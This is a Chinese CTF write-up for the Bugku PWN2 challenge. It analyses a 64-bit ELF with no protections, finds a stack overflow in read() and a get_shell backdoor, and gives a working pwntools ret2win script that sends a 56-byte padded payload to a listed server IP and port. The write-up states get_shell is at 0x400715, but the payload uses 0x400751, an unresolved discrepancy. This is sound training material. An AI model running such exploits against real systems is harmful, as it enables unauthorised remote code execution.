

Bugku_PWN2 WriteUp

先下载解压文件，放到虚拟机中。



```
zhl@zhl-virtual-machine:~/桌面$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f34393d54019d46d0644bc841469bc31e9d9c370, not stripped
zhl@zhl-virtual-machine:~/桌面$
```

file 查看文件类型，发现 x86-64，以及 dynamically linked，发现是 64 位的，而且是动态连接的。



```
zhl@zhl-virtual-machine:~/桌面$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f34393d54019d46d0644bc841469bc31e9d9c370, not stripped
zhl@zhl-virtual-machine:~/桌面$ checksec pwn2
[*] '/home/zhl/桌面/pwn2'
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX disabled
    PIE:       No PIE (0x400000)
    RWX:       Has RWX segments
zhl@zhl-virtual-machine:~/桌面$
```

checksec 一下，发现没有任何保护机制，直接放到 IDA64 里面看一下。

很容易看到后门函数 get shell。

查看反汇编，应该是从一个地方跳转到这里拿到 flag，get_shell 的起始地址为

0x400715.

The screenshot shows the IDA Pro interface with the assembly view selected. The assembly code for `_libc_start_main` is displayed, showing the initialization of argc, argv, and envp, followed by a call to `memset` to clear the environment block, and then setting up standard I/O buffers. The debugger window at the bottom shows the instruction at address 0x400050.

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char s; // [rsp+0h] [rbp-30h]
    memset(&s, 0, 0x30ULL);
    setvbuf(stdout, NULL, 2, NULL);
    setvbuf(stdin, NULL, 1, NULL);
    puts("say something?");
    read(0, &s, 0x100ULL);
    puts("oh, that's so boring!");
    return 0;
}
```

再看 main 函数，发现有一个 read 函数可以进行栈溢出。

```
||-0x000000000000000030 s db ? ; undefined
|-0x00000000000000002F db ? ; undefined
|-0x00000000000000002E db ? ; undefined
|-0x00000000000000002D db ? ; undefined
|-0x00000000000000002C db ? ; undefined
|-0x00000000000000002B db ? ; undefined
|-0x00000000000000002A db ? ; undefined
,0x000000000000000029 db ? ; undefined
,0x000000000000000028 db ? ; undefined
```

```
-0000000000000003          db ? ; undefined
-0000000000000002          db ? ; undefined
-0000000000000001          db ? ; undefined
+0000000000000000 s        db 8 dup(?)
+0000000000000008 r        db 8 dup(?)
+0000000000000010          ; end of stack variables
```

点击变量 s，查找溢出地址，得到 r-s=0x38，换算成 10 进制就是 56bytes，得到溢出点为 56，构造 payload。

```
from pwn import *

ip = "114.67.246.176"

port = 14268

p=remote(ip,port)

p.recvuntil('something?')

payload='a'*56+p64(0x400751).decode("iso-8859-1")

p.sendline(payload)

p.interactive()
```

- 在这里特别标注一下，p64()在 python2 中可编译通过，在 python3 中会报错，解决方法是 p64().decode("iso-8859-1")。